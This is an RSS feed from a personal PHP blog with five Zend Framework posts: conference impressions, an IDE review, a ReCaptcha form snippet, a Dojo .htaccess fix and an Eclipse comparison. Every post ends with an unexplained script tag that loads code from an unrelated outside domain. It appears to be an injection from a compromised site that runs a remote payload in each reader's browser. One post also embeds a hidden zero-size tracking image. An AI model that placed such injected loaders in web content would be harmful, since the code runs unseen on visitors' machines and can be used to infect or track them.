<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elzo Valugi &#187; Zend Framework</title>
	<atom:link href="http://blog.valugi.ro/category/php/zend-framework/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.valugi.ro</link>
	<description>professional websurfing</description>
	<lastBuildDate>Sun, 25 Jul 2010 06:34:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>PHP Barcelona 2009 impressions</title>
		<link>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/</link>
		<comments>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 17:48:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Books]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[agile]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Database Resident Connection Pool]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Phing]]></category>
		<category><![CDATA[REST]]></category>
		<category><![CDATA[scrum]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[webservices]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=568</guid>
		<description><![CDATA[Last Friday and Saturday I was attending PHP Barcelona Conference.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best [...]]]></description>
			<content:encoded><![CDATA[<p>Last Friday and Saturday I was attending <a href="http://phpconference.es/" target="_blank">PHP Barcelona Conference</a>.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best and this happens thanks to <a href="http://phpbarcelona.org/" target="_blank">Barcelona PHP Programmers Group</a>.</p>
<p>The program had enough presentation to choose from.</p>
<p>These are the presentations that I&#8217;ve attended:<br />
<strong>Working with Web Services</strong> &#8211; by <a href="www.lornajane.net/" target="_blank">Lorna Mitchell</a>, not bad but very basic. Probably good for PHP programmers who never worked with an API or webservice before. <a href="http://www.alexpuig.es/" target="_self">Alex Puig</a> presentation about actually implementing an API was far more interesting.</p>
<div id="__ss_2391682" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><img style="visibility: hidden; width: 0px; height: 0px;" src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyNTc2MTU3NDU5MDYmcHQ9MTI1NzYxNTc2ODk4NCZwPTEwMTkxJmQ9c3NfZW1iZWQmZz*yJm89YzU3ODIwZmZlNjI2NGRhZmE4ZDEyMGUxMjFmNTg4Yzcmb2Y9MA==.gif" border="0" alt="" width="0" height="0" /></p>
<div id="__ss_2436054" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Trees in Database</strong> &#8211; by Lorenzo Alberton. This one was better even though it wasn&#8217;t a PHP subject. I already knew and implemented some of this advanced data models, but not all.  Interesting.</p>
<div id="__ss_1599248" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Simple is Hard</strong> &#8211; by Rasmus Lerdorf. Good. I love people that tell me I am stupid.<br />
<a href="http://talks.php.net/show/phpbcn">http://talks.php.net/show/phpbcn</a></p>
<p>Ajax for scalability by Erik Schultink from Tuenti. Good advices but nothing different from Facebook presentations seen on InfoQ and good only if you have the site with most traffic in your country .</p>
<p>Agile Development with PHP in Practice by Lars Jankowfsky. Basic.</p>
<p>I&#8217;ve also been to an Oracle on PHP workshop. <strong>Database Resident Connection Pool</strong> on 11g seems interesting.</p>
<p><strong>PHP Security Audits</strong> &#8211; by Seguy Damien. Very clear and nice. Give me and <a href="http://noteslog.com/" target="_blank">Andrea</a> something to discuss. I think I should do PHP and Javascript audits. Not only security but also code improvements.</p>
<div style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p>The overall organization was good. Food and drinks, books with discounts.</p>
<p>The State of QA Tools for PHP by Sebastian Bergmann. Probably one of the most interesting presentations of the conference.</p>
<div id="__ss_2389795" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<div style="width: 425px; text-align: left;">I did attend to a <strong><a href="http://phing.info/trac/" target="_blank">Phing</a> </strong>seminar I think it is a pretty useful tool that I cant wait to test.</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zend Studio 7.0 Beta testing</title>
		<link>http://blog.valugi.ro/2009/06/25/zend-studio-7-0-beta-testing/</link>
		<comments>http://blog.valugi.ro/2009/06/25/zend-studio-7-0-beta-testing/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 09:26:02 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[IDE]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[zend studio]]></category>
		<category><![CDATA[zend studio 7./0]]></category>
		<category><![CDATA[zend_tool]]></category>
		<category><![CDATA[ZF]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=250</guid>
		<description><![CDATA[Download link. You will need a Zend account. Still based in Eclipse. This means it will compete with Eclipse PDT and Aptana. What I don&#8217;t get is why Zend is comparing this product with Zend Studio 5.5. When I first saw that I thought that this version will not be Eclipse based anymore. Why not [...]]]></description>
			<content:encoded><![CDATA[<p>Download <a href="http://www.zend.com/en/products/studio/studio-7-beta/downloads">link</a>. You will need a Zend account.<br />
<img src="http://blog.valugi.ro/wp-content/uploads/2009/06/zend_server_detection.JPG" alt="zend_server_detection" title="zend_server_detection" width="362" height="203" class="alignleft size-full wp-image-255" /><br />
Still based in Eclipse. This means it will compete with Eclipse PDT and Aptana. What I don&#8217;t get is why Zend is <a href="http://www.zend.com/en/products/studio/studio-7-beta/compare-studio55" target='_blank'>comparing</a> this product with Zend Studio 5.5. When I first saw that I thought that this version will not be Eclipse based anymore. Why not compare with version 6.0? Maybe there are too  many people who were disappointed of 6.0 and decided to go back to the version that really worked?</p>
<p>FTP connector still sucks. I cannot define a remote path when defining a connection. I have 120 domains on the server, so FTP connector stops loading the site. FATAL!<br />
You still cannot connect a defined project to an ftp source and synchronize between them. </p>
<p>I like that they put phpUnit library there, but why not throw the JavaScript libraries as well?<br />
Another thing I like is Zend_Tool, which looks interesting even if is probably not worth the money. The thing that I like about the ZF is that is not abusing shell commands. Let&#8217;s keep it minimal.</p>
<p>I don&#8217;t feel like there was the need for a major release only to give support for PHP 5.3 and to push the Zend Server a little in the mix ( why not care about <a href="http://www.apachefriends.org/en/xampp.html">Xampp</a>?).</p>
<p>At the end of the test I still like more the free version of Aptana or NetBeans or even Eclipse PDT. I&#8217;m not building ZF projects every day and you can handle them even from other editors.</p>
<p>Even if I always recommended Zend Studio in a corporate environment I dont really think that the product has a net competitive advantage compared with other free IDE&#8217;s.</p>
<p>[related] &#8211; <a href="http://blog.valugi.ro/2007/12/22/zend-eclipse-neon_vs_php-eclipse/">my comments on the Zend Studio 6 launch &#8211; not very different</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/06/25/zend-studio-7-0-beta-testing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Zend_Form_Element_Captcha using ReCaptcha</title>
		<link>http://blog.valugi.ro/2008/10/20/zend_form_element_captcha-using-recaptcha/</link>
		<comments>http://blog.valugi.ro/2008/10/20/zend_form_element_captcha-using-recaptcha/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 20:03:12 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[human]]></category>
		<category><![CDATA[recaptcha]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[Zend Form]]></category>
		<category><![CDATA[ZF]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=204</guid>
		<description><![CDATA[Example of usage of ReCaptcha webservice using Zend Framework. I did have a basic login form and I wanted to add human verification. Although other versions exists I liked this one for the social benefit it brings. ReCaptcha digitize old books using the user input as a verification tool, which I think is a very [...]]]></description>
			<content:encoded><![CDATA[<p>Example of usage of <a href="http://recaptcha.net">ReCaptcha</a> webservice using Zend Framework. I did have a basic login form and I wanted to add human verification. Although other versions exists I liked this one for the social benefit it brings. ReCaptcha digitize old books using the user input as a verification tool, which I think is a very cool idea.</p>
<p>Here is my Zend_Form_Element_Captcha :</p>
<p><code class="php"><br />
// first I set a ReCaptcha service with the keys that you get by registering in ReCaptcha website<br />
$public = $config->recaptcha->public;<br />
$private = $config->recaptcha->private;<br />
$recaptcha_service = new Zend_Service_ReCaptcha($public, $private);</p>
<p>// then set the Recaptcha adapter<br />
$adapter = new Zend_Captcha_ReCaptcha();<br />
$adapter->setService( $recaptcha_service );</p>
<p>// then set  the captcha element to use the ReCaptcha Adapter<br />
$recaptcha = new Zend_Form_Element_Captcha('recaptcha', array(<br />
			    'label' => "Are you a human?",<br />
			    'captcha' => $adapter<br />
));<br />
//Then only add the element to the form:<br />
$form->addElement ( $recaptcha );<br />
</code><br />
That&#8217;s it. </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2008/10/20/zend_form_element_captcha-using-recaptcha/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Zend_Dojo_Form local problem</title>
		<link>http://blog.valugi.ro/2008/09/12/zend-dojo-form-error-local/</link>
		<comments>http://blog.valugi.ro/2008/09/12/zend-dojo-form-error-local/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 10:26:18 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[dojo]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[ZF]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=197</guid>
		<description><![CDATA[If you have errors in the request object when trying to make your forms to use dojo, here is some clue. Dojo dijits use some html templates and .htaccess usually is not prepared for this. You cand solve this problem by using the setCdnBase from Google or AOL, but if you reallly want the local [...]]]></description>
			<content:encoded><![CDATA[<p>If you have errors in the request object when trying to make your forms to use dojo, here is some clue. Dojo dijits use some html templates and .htaccess usually is not prepared for this.</p>
<p>You cand solve this problem by using the setCdnBase from Google or AOL, but if you reallly want the local version modify the .htaccess to allow html code.</p>
<p><code class="php"><br />
$view->addHelperPath('Zend/Dojo/View/Helper/', 'Zend_Dojo_View_Helper');<br />
$view->dojo()->setDjConfigOption('usePlainJson', true )<br />
	//->setCdnBase( Zend_Dojo::CDN_BASE_GOOGLE )<br />
	->addStyleSheetModule('dijit.themes.tundra')<br />
	->addStyleSheet('/js/dojo/dojox/grid/_grid/tundraGrid.css')<br />
	->setLocalPath('/js/dojo/dojo/dojo.js')<br />
	->disable()<br />
	;<br />
Zend_Dojo_View_Helper_Dojo::setUseProgrammatic();<br />
</code></p>
<p>.htaccess code:<br />
<code><br />
RewriteEngine on<br />
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php<br />
</code><br />
UPDATE:<br />
use this code instead<br />
    RewriteEngine On<br />
    RewriteCond %{REQUEST_FILENAME} -s [OR]<br />
    RewriteCond %{REQUEST_FILENAME} -l [OR]<br />
    RewriteCond %{REQUEST_FILENAME} -d<br />
    RewriteRule ^.*$ &#8211; [NC,L]<br />
    RewriteRule ^.*$ /index.php [NC,L]<br />
Recommanded by <a href="http://www.nabble.com/Zend_Dojo_Form-errors-td19453531.html">Matthew Weier O&#8217;Phinney</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2008/09/12/zend-dojo-form-error-local/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zend Eclipse Neon vs PHPEclipse</title>
		<link>http://blog.valugi.ro/2007/12/22/zend-eclipse-neon_vs_php-eclipse/</link>
		<comments>http://blog.valugi.ro/2007/12/22/zend-eclipse-neon_vs_php-eclipse/#comments</comments>
		<pubDate>Sat, 22 Dec 2007 10:40:42 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[beta]]></category>
		<category><![CDATA[eclipse]]></category>
		<category><![CDATA[zend studio]]></category>
		<category><![CDATA[ZF]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=154</guid>
		<description><![CDATA[Last month or so I was so unsatisfied with Zend Studio [the classic], as I started playing with EclipsePHP. The later is well known in the Java comunity and in the open source as well, being the free and complex editor that I&#8217;ve worked with. And I&#8217;ve worked with Dreamweaver, EditPlus, Notepad++ and Zend Studio [...]]]></description>
			<content:encoded><![CDATA[<p>Last month or so I was so unsatisfied with Zend Studio [the classic], as I started playing with EclipsePHP. The later is well known in the Java comunity and in the open source as well, being the free and complex editor that I&#8217;ve worked with. And I&#8217;ve worked with Dreamweaver, EditPlus, Notepad++ and Zend Studio Classic.</p>
<p>A couple of weeks ago I also downloaded and installed Zend Eclipse aka Neon. I said &#8220;finally they realized that something was so wrong&#8221;. That beacause Eclipse worked smooth, even it wasn&#8217;t conceived for PHP. The team or the community who developed the PHPEclipse did a fantastic job, they deserve respect.</p>
<p>This is not an exhaustive comparation, is just a sum of personal impressions and desires and are directed to both teams in the same time:</p>
<ul>
<li><strong>I want an editor</strong>, a good one, that can open .htaccess and binary files. I want to see hex, binary stuff, cvs, xml&#8230; all and fast. Some files are imposibile to open in Zend Studio Neon.</li>
<li><strong>I want a PHP editor</strong>. I know that all PHP is slowly starting to fusion with Java. I know some like <a href='http://mtabini.blogspot.com/2007/12/thoughts-for-new-year-php-as-new-java.html' target='_blank'>this</a>. But I hate it. I want an editor free of builds, ants, java perpectives, jre, jar and all things alike. I hate them.</li>
<li><strong>Databases </strong>are daily thing. I want an editor to communicate well with the databases. I could&#8217;t understand myself with the Lucent engine from Zend Neon. Classic Zend and PhpEclipse are better at this chapter.</li>
<li>Code assist works best in the Zend Classic. In both Eclipse version after a while it stops appearing. I don&#8217;t know why. I want a better code assist. I want to write less every day.</li>
<li><strong>Server side</strong>: I love PHPEclipse because it detected my Xampp server and got perfectly with it without any help from my side. Exceptional. Zend Neon wants Zend Framework. What&#8217;s wrong with <strong>Xampp</strong>?</li>
<li>Extra functions like phpDocumentator are very usefull. Also svn and ftp/sftp that I heard that work. Both have support for ssh. Code analyzer is good. </li>
<li>The templates issue. Are better represented in EclipsePHP. Zend Framework Project may be intersting but I didn&#8217;t use it.</li>
<li><strong>The Bonnie situation</strong>. I don&#8217;t want to discuss about money here. But is cash vs. free we are talking, you should ask your wife if she will get one for you at Christmas. Let&#8217;s see how open source is she!</li>
</ul>
<p><strong>Final word: Just a half step further!</strong><br />
<em>Upgrading </em>to Zend&#8217;s Neon project over Zend Studio is like upgrading to Vista over WinXP, looks nicer, but you can&#8217;t get shit done any magnitude faster. Next year I want to concentrate less on IDE and more on work, ok?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2007/12/22/zend-eclipse-neon_vs_php-eclipse/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
